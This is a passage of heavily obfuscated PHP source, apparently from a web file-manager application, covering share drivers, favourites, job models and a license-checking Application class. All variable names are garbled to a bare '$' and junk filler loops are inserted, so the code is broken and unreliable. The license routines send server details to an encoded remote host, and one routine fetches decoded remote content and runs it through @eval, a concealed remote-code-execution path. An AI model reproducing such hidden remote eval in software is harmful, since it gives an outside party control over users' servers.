$[$[1392]] = Action($[1225])->shareItemInfo($[$[1392]]); } foreach ($ as $ => $) { if (!in_array($, array($[85], $[84]))) { continue; } foreach ($ as $ => $) { $[$][$] = Action($[1225])->shareItemInfo($); } } return $; } public function listAll($) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[86]]); if (!$) { return array(); } $ = $this->model->listAll($); foreach ($ as &$) { $[$[89]] = Action($[1225])->shareItemInfo($[$[89]]); } unset($); return $; } } class PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } public function __call($, $) { $ =& $_SERVER[]; if (method_exists($this, $)) { return; } $ = call_user_func_array(array($[1393], $), $); $ = array($[1394], $[1395], $[1396], $[1397], $[588], $[590], $[1398], $[109], $[1399], $[1400]); if (in_array($, $)) { $ = $this->getPathOuter($); } return $; } public function copy($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][588], $); } public function move($, $, $ = false, $ = false) { return $this->copyMove($, $, $, $_SERVER[][590], $); } private function copyMove($, $, $, $, $ = false) { $ =& $_SERVER[]; $ = $; $ = IO::driverMake($); if ($->pathParse[$[1202]]) { $ = $->pathParse[$[1202]]; } else { $ = $; } $ = IO::copyMove($, $, $, $, $); $ = $this->getPathOuter($); return $; } public function pathThis($) { return get_path_this($this->pathParse[$_SERVER[][86]]); } public function pathFather($) { return get_path_father($this->pathParse[$_SERVER[][86]]); } public function iconvSystem($) { return $; } protected function infoParse($, $ = false) { $ =& $_SERVER[]; $ = $this->pathParse[$[531]][$[1226]] . $this->pathParse[$[1219]]; if ($) { $ = IO::infoWithChildren($); } else { $ = IO::info($); } $ = $this->pathParse[$[531]]; return Action($[1391])->_shareItemeParse($, $); } public function listAll($) { $ =& $_SERVER[]; $ = IO::listAll($); $ = rtrim($this->pathParse[$[531]][$[1226]], $[8]); foreach ($ as &$) { $[$[86]] = $this->pathDriver . $[8] . ltrim(substr($[$[86]], strlen($)), $[8]); } unset($); return $; } public function listAllSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->listAll($); $ = $this->pathParse[$[465]]; if (trim($, $[8]) == trim(get_path_father($), $[8])) { $ = !0; } return IO::init($[12])->listAllSimpleMake($, $, $); } public function getPathOuter($) { $ =& $_SERVER[]; $ = KodIO::parse($); if ($[$[33]] == KodIO::KOD_SHARE_ITEM) { return $[$[86]]; } $ = KodIO::clear($); $ = KodIO::clear($this->pathParse[$[531]][$[1226]]); $ = substr($, strlen($)); if (substr($, 0, strlen($)) != $) { return !1; } return $this->pathParse[$[1220]] . $[8] . ltrim($, $[8]); } public function getType() { $ =& $_SERVER[]; $ = str_replace($[76], $[12], get_class($this)); return strtolower($); } public function isTypeObject($) { return IO::isTypeObject($); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($, !0); } public function infoFull($) { return $this->infoParse($); } } class PathDriverDriverShareLink extends PathDriverDriverShareItem { public function __construct($) { $this->pathParse = $; } protected function infoParse($, $ = false) { $ =& $_SERVER[]; return Action($[1225])->sharePathInfo($this->pathParse[$[86]], !0, $); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = IO::listPath($, $); if (!$) { return $; } if (is_array($[$[1392]])) { $ = Action($[1401])->parsePathChildren($[$[1392]], array($[465] => $)); $[$[1392]] = Action($[1225])->shareItemInfo($); } foreach ($ as $ => $) { if (!in_array($, array($[85], $[84]))) { continue; } foreach ($ as $ => $) { $ = Action($[1401])->parsePathChildren($, array($[465] => $)); $[$][$] = Action($[1225])->shareItemInfo($); } } return $; } } goto f; A: class SystemTaskModel extends ModelBaseLight { public $optionType = "System.taskList"; public $field = array("name", "type", "event", "time", "desc", "system", "enable", "lastRun", "sort"); public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function add($) { $ =& $_SERVER[]; $ = $this->findByName($[$[32]]); if ($) { return !1; } $[$[1656]] = 0; $[$[1928]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1928]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ =& $_SERVER[]; $ = $this->listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } return parent::update($, $); } public function remove($, $ = false) { $ =& $_SERVER[]; $ = $this->listData($); if (!$) { return; } if (!$ && $[$[181]] == $[90]) { return !1; } return parent::remove($); } public function enable($, $) { return $this->update($, array($_SERVER[][2342] => $)); } public function run($) { return $this->update($, array($_SERVER[][2354] => time())); } } class UserFavModel extends ModelBase { protected $tableName = "user_fav"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2015] => array(USER_ID, $[2355])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0); $ = $[2356]; $ = $this->field($)->where($)->order($[2357])->select(); return $ ? $ : array(); } protected function resetCache() { } protected function listView() { $ =& $_SERVER[]; $ = $this->listData(); $ = array_filter_by_field($, $[33], $[460]); $ = array_to_keyvalue($, $[12], $[86]); if (!$) { return $; } $ = 2000; $ = array($[461] => array($[462], $)); $ = Model($[870])->listSource($, $); $ = array_merge($[$[85]], $[$[84]]); $ = array_to_keyvalue($, $[183]); foreach ($ as $ => $) { $ = $[$[$[86]]]; $ = $ ? $ : array(); $[$] = array_merge($, $); } return $; } protected function addFav($, $ = '', $ = "source") { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0, $[466] => $, $[465] => $); if ($this->where($)->find()) { return !1; } $ = array($[1696] => USER_ID, $[528] => 0); $ = $this->where($)->max($[1928]); if (!$) { $ = 0; } if (!$ && $ == $[460]) { $ = Model($[1384])->where(array($[461] => $))->find(); if (!$) { return !1; } $ = $[$[32]]; } $ = $this->getAutoName($); $ = array($[1696] => USER_ID, $[528] => 0, $[464] => $, $[465] => $, $[466] => $, $[1908] => $ + 1); return $this->add($); } protected function remove($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[463] => $); return $this->where($)->delete(); } protected function removeByName($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[464] => $, $[528] => 0); return $this->where($)->delete(); } protected function rename($, $) { $ =& $_SERVER[]; if ($ == $) { return !1; } $ = $this->getAutoName($); if ($ != $) { return !1; } $ = array($[1696] => USER_ID, $[528] => 0, $[32] => $); return $this->where($)->save(array($[32] => $)); } protected function resetSort($) { $ =& $_SERVER[]; $ = is_array($) ? $ : array(); $ = array($[1696] => USER_ID); for ($ = 0; $ < count($); $++) { $[$[463]] = $[$]; $this->where($)->save(array($[1908] => $ + 1)); } return !0; } protected function moveTop($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0); $ = $this->where($)->where(array($[32] => $))->find(); if (!$) { return; } $ = $this->field($[445])->where($)->order($[2357])->select(); $ = array_to_keyvalue($, $[12], $[445]); $ = $; $ = array_remove_value($, $[$[445]]); array_unshift($, $[$[445]]); return $this->resetSort($); } protected function moveBottom($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0); $ = $this->where($)->max($[1928]); $ = array($[1928] => $ + 1); return $this->where($)->where(array($[32] => $))->save($); } private function getAutoName($) { $ =& $_SERVER[]; $ = array($[1696] => USER_ID, $[528] => 0); $ = $this->field($[32])->where($)->select(); $ = array_to_keyvalue($, $[12], $[32]); if (!$ || !in_array($, $)) { return $; } for ($ = 0; $ < count($); $++) { if (!in_array($ . "({$})", $)) { return $ . "({$})"; } } return $ . "({$})"; } } class UserJobModel extends ModelBaseLight { public $optionType = "System.jobList"; public $field = array("name", "desc", "sort"); const JOB_KEY = "selfJobList"; public function listData($ = false, $ = "sort", $ = false) { return parent::listData($, $, $); } public function remove($) { return parent::remove($); } public function add($) { $ =& $_SERVER[]; if ($this->findByName($[$[32]])) { return !1; } $[$[1928]] = $this->getSort(); return parent::insert($); } private function getSort() { $ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $[12], $[1928]); return empty($) ? 0 : max($) + 1; } public function update($, $) { $ =& $_SERVER[]; $ = parent::listData($); $ = $this->findByName($[$[32]]); if (!$ || $ && $[$[445]] != $[$[445]]) { return !1; } return parent::update($, $); } public function setUserJob($, $) { $ =& $_SERVER[]; if (!is_array($)) { $ = array($); } $ = parent::listData(); $ = array_to_keyvalue($, $[32]); $ = $[424]; foreach ($ as $) { if ($[$]) { $ .= $[$][$[445]] . $[50]; } else { $ = $this->add($); $ .= $ . $[50]; } } $ = rtrim($, $[50]); Model($[569])->metaSet($, self::JOB_KEY, $); } public function getUserJob($) { $ = Model($_SERVER[][569])->metaGet($); return $this->getUserJobInfo($[self::JOB_KEY]); } public function getUserJobInfo($) { $ =& $_SERVER[]; $ = explode($[50], $); $ = parent::listData(); $ = array_remove_key($, $[217]); $ = array(); foreach ($ as $) { if (isset($[$])) { $[] = $[$]; } } return $; } } goto E; D: $_SERVER[] = explode($_SERVER[][650], gzinflate(substr($_SERVER[][651], 10, -8))); $jhtbkxrswv = $_SERVER[][652]; class Application { private $defaultModule = "index"; private $defaultController = "index"; private $defaultAction = "index"; function __construct() { } public function setDefault($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], trim($, $[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $ = $[653]; if (!$) { return; } $this->defaultController = $[1] ? $[1] : $this->defaultController; $ = $[654]; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $ = $[655]; if (!$) { return; } $this->cxrff5f5dc5f($[1], array($this, $[2])); $ = $[656]; if (strlen($) < $[657]) { return; } } public function appRun($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[0], $); $ = $[658]; if (!$) { return; } $ = strtolower($[0]); $ = $[659]; if (!$) { die; } $ = $[3]; if ($ == $[4]) { $ = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $ = join($[0], $); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $ . $[10], $); ActionCall($); $ = $[660]; while (strlen($) < $[661]) { if (!$) { break; } $++; } call_user_func(array($[8], $[9]), $ . $[11], $); $ = $[662]; } private function autorun() { $ =& $_SERVER[]; global $config; $ = $_SERVER[][663]; if (!$) { return; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $) { $this->appRun($); } } private function yqpx0cd51b7c() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[4]; $ = $[664]; if (strlen($) < $[661]) { die; } $ = $GLOBALS[$[13]][$[14]][0]; $ = $[665]; if (!$ || strlen($) <= strlen($)) { return; } if (strtolower(substr($, -strlen($))) != $) { return; } $ = substr($, 0, -strlen($)); $ = $[666]; $ = array($[4], $); $ = $[667]; if (!$) { die; } $ = array_slice($GLOBALS[$[13]][$[14]], 1); $GLOBALS[$[13]][$[14]] = array_merge($, $); $ = $[668]; while (strlen($) < $[669]) { if (!$) { break; } $++; } $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function lpas50318890() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ = $_SERVER[$[16]]; $ = $[17]; $ = $[670]; if (strlen($) < $[671]) { return; } if (!strstr($, $)) { return; } $ = strrpos($, $); $ = $[672]; $ = substr($, $ + strlen($)); preg_match_all($[18], $, $); $ = $[673]; $ = trim($[0][0], $[19]); $ = $[674]; $GLOBALS[$[13]][$[14]] = explode($[19], $); $ = $[675]; if (strlen($) < $[657]) { return; } $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } public function run() { $ =& $_SERVER[]; $ =& $_SERVER[]; $this->lpas50318890(); $ = $[676]; if (strlen($) < $[671]) { return; } $this->yqpx0cd51b7c(); $ = $GLOBALS[$[13]][$[14]]; $ = $[677]; if (!$) { return; } $ = $GLOBALS[$[13]][$[15]]; $ = $[678]; if (!$) { return; } define($[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); $ = $[679]; define($[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); $ = $[680]; if (strlen($) < $[661]) { die; } define($[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); $ = $[681]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } define($[23], MOD . $[0] . ST . $[0] . ACT); $ = $[682]; if (!$) { die; } $_SERVER[$[24]] = strtolower(ACTION); $ = $[683]; $this->autorun(); $ = $[684]; if (strlen($) < $[657]) { return; } if (count($) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $rdwocac763cc = array(); private $goeu038097d5 = ''; public function cevd71657227() { $ =& $_SERVER[]; $ =& $_SERVER[]; $this->zjird0006078(); $this->wtcj6d77772b(); $this->fgqs986e2050(); $this->ihgtc55c857f(); $ = $[685]; if (!$) { die; } $this->eudrb72b712a(); $this->ojvn91111d71(); $ = $[686]; if (strlen($) < $[657]) { die; } $this->apju5eed77de(); $this->cxrff5f5dc5f($[25], array($this, $[26])); $ = $[687]; $this->cxrff5f5dc5f($[27], array($this, $[28])); $this->cxrff5f5dc5f($[29], array($this, $[30])); $ = $[688]; if (strlen($) < $[657]) { return; } $this->cxrff5f5dc5f($[31], array($this, $[32])); } public function uprx2271e4a1($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = Model($[33])->get(); $ = $[689]; if (strlen($) < $[671]) { die; } $ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); foreach ($ as $) { $ = $GLOBALS[$[85]][$[86]][$]; $ = $[690]; if (isset($[$])) { $ = $[$]; } $[$[87]][$[88]][$] = $; } $ = $[$[87]][$[88]][$[46]]; $ = $[691]; if (strlen($) < $[692]) { return; } unset($[$[87]][$[89]][$[90]]); unset($[$[87]][$[89]][$[91]]); unset($[$[87]][$[88]][$[46]]); unset($[$[87]][$[88]][$[92]]); $[$[87]][$[88]][$[93]] = array($[94] => (int) $[$[95]], $[96] => (int) _get($, $[97], 0)); $ = substr(md5($[98] . get_client_ip() . $[$[99]]), 0, 15); $ = $[693]; if (!$) { return; } $[$[100]][$[101]] = Mcrypt::encode(Session::sign(), $, 3600 * 24); $ = $[694]; while (strlen($) < $[661]) { if (!$) { break; } $++; } $[$[100]][$[102]] = Action($[103])->accessToken(); $[$[100]][$[104]] = md5($_SERVER[$[105]] . $[$[99]]); $ = $[695]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $[$[100]][$[106]] = base64_encode(serverInfo()); $[$[100]][$[107]] = $this->goeu038097d5; $ = $[696]; if ($[$[107]] != $[108]) { $[$[100]][$[109]] = $[$[109]]; $[$[100]][$[110]] = $[$[110]]; $ = rand_string(10) . $this->goeu038097d5 . rand_string(5); $[$[87]][$[111]][$[112]] = $this->ycsjf993275f($, $[$[100]][$[104]]); } if ($this->goeu038097d5 == $[108]) { $[$[87]][$[88]][$[93]][$[97]] = 0; } $[$[100]][$[113]] = _get($this->rdwocac763cc, $[114], $[6]); $[$[100]][$[115]] = _get($this->rdwocac763cc, $[116], $[6]); $ = $[697]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } if (KodUser::isRoot() && $this->config[$[117]]) { $[$[100]][$[118]] = WEB_ROOT; } return $; } private function ojvn91111d71() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $_SERVER[$[24]] == $[119]; if ($_SERVER[$[24]] == $[120] && $_GET[$[121]] == $[122]) { $ = !0; } if ($) { $ = array($[107] => $this->goeu038097d5, $[123] => $this->ghze5be35b25(), $[124] => Model($[125])->count()); if ($this->goeu038097d5 != $[108]) { $ = _get($this->rdwocac763cc, $[126]); if ($) { $[$[127]] = $; $[$[128]] = strtotime(_get($this->rdwocac763cc, $[129])); $[$[130]] = _get($this->rdwocac763cc, $[116]); } $ = Model($[33])->get($[131], $[6], !0); if (is_string($) && substr($, 0, 1) == $[132]) { $ = json_decode_force($); } if (is_array($) && $[$[133]] && strstr($[$[133]], $[134])) { $ = explode($[134], $[$[133]]); $[$[135]] = $[0]; } } $ = $this->ehka110833eb(json_encode($), md5($[136])); $ = array($[137] => $); call_user_func(array($[138], $[139]), $); $ = $[698]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } } if ($this->goeu038097d5 == $[108]) { return; } $ = array($[140], $[141], $[142], $[143], $[144], $[145]); $ = Model($[33])->get(); $ = $[699]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } $ = array($[146] => $[$[34]], $[147] => $[$[35]], $[148] => $[6]); foreach ($ as $) { if (!isset($[$]) || !$[$]) { continue; } $[$] = $[$]; } call_user_func(array($[138], $[139]), $); } private function ihgtc55c857f() { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($_SERVER[$[24]] != $[149]) { return; } if (!KodUser::isRoot()) { die; } $ = $GLOBALS[$[13]]; if (isset($[$[150]])) { $this->pjyi28728f55(); die; } if (isset($[$[151]]) && isset($[$[151]]) == $[122]) { $[$[152]] = Model($[33])->get($[153]); } if (!isset($[$[152]]) || strlen($[$[152]]) != 16) { show_json($[154] . $[$[152]], !1); } $ = Model($[33])->get($[99]); $ = md5($_SERVER[$[105]] . $); $ = $[700]; while ($ < $[669]) { if ($ >= 0) { break; } $++; } $ = array($[152] => $[$[152]], $[155] => rand_string(16), $[156] => $[136], $[157] => $[158], $[159] => $_SERVER[$[160]], $[161] => $_SERVER[$[162]], $[163] => $_SERVER[$[164]], $[104] => $, $[165] => Model($[33])->get($[131])); if ($[$[166]] == $[167]) { $ = $this->ehka110833eb($, $[168]); $ = $this->ycsjf993275f(json_encode($), $ . $[169], 3); $ = $ . $[170] . $_SERVER[$[160]]; $ = $this->vurm37fa4e72($[171] . $ . $[172] . $, -1); show_json($, !0); } else { if ($[$[166]] == $[173]) { $ = substr(md5($[174] . $), 12, 15) . $[175]; $ = $this->gdyv9b19ed81(trim($[$[176]]), $, 2); $ = json_decode($, !0); if (!is_array($) || !is_array($[$[177]]) || $[$[152]] != !0) { $ = $[178]; $ = $[$[177]] ? $[179] . $[$[177]] : $; show_json($, !1); } else { $[$[155]] = $[$[177]][$[180]]; } } else { $ = $this->vurm37fa4e72($[181], $, 10); } } if (!is_array($) || !is_array($[$[177]]) || $[$[152]] != !0) { $ = LNG($[182]); $ = $[$[177]] ? $[179] . $[$[177]] : $; show_json($, !1); } $ = $[$[177]]; $ = $this->xfad5fcc1643($[$[183]]); $ = $[701]; if (strlen($) < $[669]) { die; } if (!$ || $ != $[$[129]]) { $ = array($[184] => Model($[33])->get($[99]), $[185] => $_SERVER[$[105]], $[186] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->qxsv06505b9c(json_encode($)); $this->vurm37fa4e72($[187] . $); show_json(LNG($[188]), !0); } $ = array($[153] => $[$[189]], $[190] => $[$[191]], $[192] => rand_string(16), $[107] => $[$[193]]); if ($[$[155]]) { $[$[192]] = $[$[155]]; } $ = substr(md5($[$[190]]), 10, 10); $ = $ . $[$[107]] . $[$[192]]; $ = $[702]; if (strlen($) < $[671]) { return; } $[$[109]] = strrev(base64_encode($this->ehka110833eb($, $[194]))); $ = $[703]; $ = rand_string(16); $ = $ . $[$[107]] . $this->ehka110833eb(md5($[$[153]]), $); $ = $[704]; while (strlen($) < $[657]) { if (!$) { break; } $++; } $[$[110]] = base64_encode(strrev($this->ehka110833eb($, $[195]))); $ = $[705]; if ($[$[196]] && $[$[196]] >= 1) { Model($[33])->setDeep($[197], $[122]); } Model($[33])->set($); $ = md5($_SERVER[$[105]] . strrev($) . $[$[190]]); $ = $[706]; while ($ < $[661]) { if ($ >= 0) { break; } $++; } $ = strrev(substr($, 10, 16)); $ = $this->ycsjf993275f(json_encode($), $); $ = array_to_keyvalue(Model($[7])->listData(), $[198]); $ = $[$[199]]; $ = array(); $ = $[707]; if (strlen($) < $[657]) { return; } $[$] = $; Model($[7])->update($[$[200]], array($[201] => $)); $ = $[708]; if (strlen($) < $[692]) { die; } $this->rdwocac763cc = $; $ = $[709]; if (!$) { return; } $this->goeu038097d5 = $[$[107]]; $ = $[710]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $this->licenseRegistSuccess(); $ = $[711]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } Cache::set($[202] . md5($ . $[203]), $[6]); show_json(LNG($[188]), !0); } private function licenseRegistSuccess() { $ =& $_SERVER[]; $ = Model($[33])->get(); $ = $_SERVER[][712]; if ($[$[63]] != $[122]) { Model($[33])->set($[63], $[122]); } Action($[204])->initStart(!0); } private function pjyi28728f55() { $ =& $_SERVER[]; $ =& $_SERVER[]; Model($[33])->set(array($[153] => $[6], $[190] => $[6], $[107] => $[108], $[109] => $[6], $[110] => $[6])); Model($[33])->setDeep($[197], $[205]); $this->rdwocac763cc = array(); $ = $[713]; while ($ < $[661]) { if ($ >= 0) { break; } $++; } $this->goeu038097d5 = $[108]; } private function zjird0006078() { $ =& $_SERVER[]; $ =& $_SERVER[]; $_SERVER[$[162]] = _get($_SERVER, $[162], APP_HOST); $this->goeu038097d5 = $[108]; $ = Model($[33])->get(); if ($[$[107]] == $[108]) { return; } $ = Model($[33])->get($[99]); $ = $[714]; if (!$) { die; } $ = $[202] . md5($ . $[203]); $ = $[715]; $ = Cache::get($); $ = $[716]; if (!is_array($) || !isset($[$[206]]) || time() - $[$[206]] >= 60) { $ = Model($[7])->loadList(); $ = $[$[199]]; $ = md5($_SERVER[$[105]] . strrev($) . $[$[190]]); $ = strrev(substr($, 10, 16)); $ = $this->gdyv9b19ed81($[$[85]][$], $); $ = json_decode($, !0); } if (!is_array($)) { return $this->pjyi28728f55(); } $ = strtotime($[$[129]]); if (time() >= $) { return $this->pjyi28728f55(); } if (time() - $[$[206]] > 20) { $[$[206]] = time(); Cache::set($, $); } $this->rdwocac763cc = $; $this->goeu038097d5 = $[$[107]]; } private function wtcj6d77772b() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $GLOBALS[$[13]]; $ = $[717]; if (strlen($) < $[661]) { die; } $ = $_SERVER[$[24]]; $ = $[718]; while (strlen($) < $[671]) { if (!$) { break; } $++; } if ($ == $[207] && $this->goeu038097d5 == $[108]) { show_json(LNG($[208]), !1, $[209]); } $ = array($[210], $[211]); if (in_array($, $)) { if ($this->goeu038097d5 == $[108] && isset($[$[212]])) { show_json(LNG($[208]), !1, $[209]); die; } $ = $this->ghze5be35b25(); if ($ != intval($[213])) { if ($ <= Model($[125])->count()) { show_json(LNG($[214]), !1, $[209]); die; } } } } private function fgqs986e2050() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[119], $[120]); if (!KodUser::isRoot() || !isset($_GET[$[215]])) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } $ = $[216]; $ = $this->hsox157bd8b4($, $[217]); $ = $[719]; while (strlen($) < $[671]) { if (!$) { break; } $++; } $ = stream_context_create(array($[218] => array($[219] => $[220], $[221] => 3))); $ = $[720]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $ = @file_get_contents($, !1, $); header($[222]); $ = $[721]; if (!$) { die; } if ($ && strstr($, $[223])) { echo $; } die; } public function azpd267e5692($) { $ =& $_SERVER[]; $ =& $_SERVER[]; if ($this->goeu038097d5 == $[224]) { return $; } $ = array($[225] => $[226], $[227] => $[226], $[228] => $[226], $[229] => $[230], $[231] => $[230], $[232] => $[230], $[233] => $[230], $[234] => $[230], $[235] => $[230], $[236] => $[230], $[237] => $[230], $[238] => $[230], $[239] => $[230], $[240] => $[230], $[241] => $[230]); $ = explode($[242], _get($this->rdwocac763cc, $[114], $[6])); $ = $[722]; if (!$) { die; } $ = array(); foreach ($ as $ => $) { if ($ == $[226] && substr($this->goeu038097d5, 0, 1) == $[226]) { continue; } if (!in_array($, $)) { $[] = $; } } foreach ($ as $) { unset($[$]); } return $; $ = $[723]; while (strlen($) < $[669]) { if (!$) { break; } $++; } } private function apju5eed77de() { $ =& $_SERVER[]; if ($this->goeu038097d5 != $[108]) { $GLOBALS[$[85]][$[89]][$[243]] = $[205]; return; } $GLOBALS[$[85]][$[244]] = $[122]; if (Model($[245])->get($[63]) != $[205]) { Model($[245])->set($[63], $[205]); } } public function ozci2f114716() { return $_SERVER[][246]; } private function eudrb72b712a() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[247], $[248], $[249]); $ = $[250] . md5($[251]); if ($this->goeu038097d5 == $[108] || !KodUser::isRoot()) { return; } if (!in_array($_SERVER[$[24]], $)) { return; } if (time() % 4 != 0) { return; } $ = call_user_func(array($[252], $[253]), $); $ = $[724]; if ($ && time() - $ < intval($[254])) { return; } call_user_func(array($[252], $[139]), $, time()); $ = Model($[33])->get($[99]); $ = array($[152] => Model($[33])->get($[153]), $[166] => $this->goeu038097d5, $[163] => $_SERVER[$[164]], $[165] => Model($[33])->get($[131]), $[104] => md5($_SERVER[$[105]] . $), $[156] => $[136], $[159] => $_SERVER[$[160]]); $ = $this->vurm37fa4e72($[255], $); if (!is_array($)) { return; } if ($[$[152]] && $[$[256]]) { if ($this->xfad5fcc1643($[$[256]]) == $[$[152]]) { return; } } $this->pjyi28728f55(); $ = $[725]; if (strlen($) < $[657]) { die; } if ($this->xfad5fcc1643($[$[256]]) != $[$[152]]) { $ = array($[184] => $, $[185] => $_SERVER[$[105]], $[186] => this_url(), $[161] => $_SERVER[$[162]]); $ = $this->qxsv06505b9c(json_encode($)); $ = $this->vurm37fa4e72($[187] . $); if ($ && is_array($) && isset($[$[256]])) { $ = $this->gdyv9b19ed81($[$[256]], 2); if ($) { $ = $this->xfad5fcc1643($); } if ($) { try { @eval($); } catch (Exception $) { } } } } } private function vurm37fa4e72($ = '', $ = array(), $ = 5) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $[257]; $ = $this->hsox157bd8b4($, $[258]); $ = $ . $; if ($ && is_array($)) { $ = $ . $[259] . http_build_query($); } if ($ === -1) { return $; } $ = stream_context_create(array($[218] => array($[221] => $, $[219] => $[260]), $[261] => array($[262] => !1, $[263] => !1))); $ = $[726]; if (!$) { die; } $ = @file_get_contents($, !1, $); return json_decode($, !0); $ = $[727]; if (strlen($) < $[657]) { die; } } private function ghze5be35b25() { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = array($[264] => $[265], $[266] => $[267], $[268] => $[269], $[270] => $[271], $[272] => $[273], $[274] => $[213], $[275] => $[213], $[276] => $[265], $[277] => $[267], $[278] => $[269], $[279] => $[280], $[281] => $[271], $[282] => $[283], $[284] => $[273], $[285] => $[286], $[287] => $[288], $[289] => $[290]); $ = $[728]; $ = $[$this->goeu038097d5]; $ = intval($ ? $ : $[265]); $ = $[729]; if (!$) { die; } $ = _get($this->rdwocac763cc, $[291]); $ = $ ? intval($) : 0; $ = $[730]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } return $ + $; } public function heny43e8c145($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->ghze5be35b25(); $ = $[731]; if (strlen($) < $[661]) { die; } if ($[$[292]] == $[122]) { return; } if ($ >= intval($[213])) { return; } $ = Model($[125])->count(); $ = $[732]; if ($ <= $) { return; } $ = Model($[125])->field($[292])->limit($)->select(); $ = $[733]; if (strlen($) < $[671]) { die; } $ = array_to_keyvalue($, $[6], $[292]); if (!in_array($[$[292]], $)) { show_json($[293], !1, $[209]); } } public function nrfc9373d337() { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!KodUser::isRoot() || mt_rand(1, 100) > 20) { return; } $ = $[216]; $ = $[734]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } $ = $this->hsox157bd8b4($, $[217]); $ = $[735]; while ($ < $[661]) { if ($ >= 0) { break; } $++; } $ = stream_context_create(array($[218] => array($[219] => $[220], $[221] => 3))); $ = $[736]; while (strlen($) < $[669]) { if (!$) { break; } $++; } $ = @file_get_contents($, !1, $); echo $[294] . hash_encode($) . $[295]; $ = $[737]; } private function ycsjf993275f($, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[]; usleep(1); $ = $[738]; while (strlen($) < $[657]) { if (!$) { break; } $++; } $ = trim($); $ = $[739]; $ = mt_rand(0, 5) . $[6]; $ = $[740]; if (!$) { return; } $ = rand_string(15); $ = $[296]; $ = $[741]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } switch ($) { case $[205]: $ = $this->ehka110833eb($, strrev($ . $)); break; $ = $[742]; case $[122]: $ = $this->ehka110833eb($, strrev($ . $)); $ = $[743]; break; $ = $[744]; case $[297]: $ = $this->ehka110833eb($, base64_encode($ . $)); $ = $[745]; break; case $[298]: $ = $this->ehka110833eb($, md5($ . $)); $ = $[746]; if (strlen($) < $[669]) { return; } break; $ = $[747]; if (!$) { die; } case $[299]: $ = base64_encode($); $ = rand(0, 64); $ = $[748]; $ = $[$]; $ = $[749]; if (!$) { die; } $ = md5($ . md5($ . $) . $); $ = $[750]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } $ = substr($, $ % 8, $ % 8 + 7); $ = $[6]; $ = 0; $ = 0; $ = $[751]; if (!$) { die; } $ = 0; $ = $[752]; for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = ($ + strpos($, $[$]) + ord($[$++])) % 64; $ = $[753]; if (strlen($) < $[692]) { die; } $ .= $[$]; } $ = hash_encode($ . $); break; $ = $[754]; if (!$) { die; } default: $ = $this->ehka110833eb($, $ . $); break; } $ = strrev($ . $ . $); $ = $[755]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } if ($ - 1 > 0) { $ = 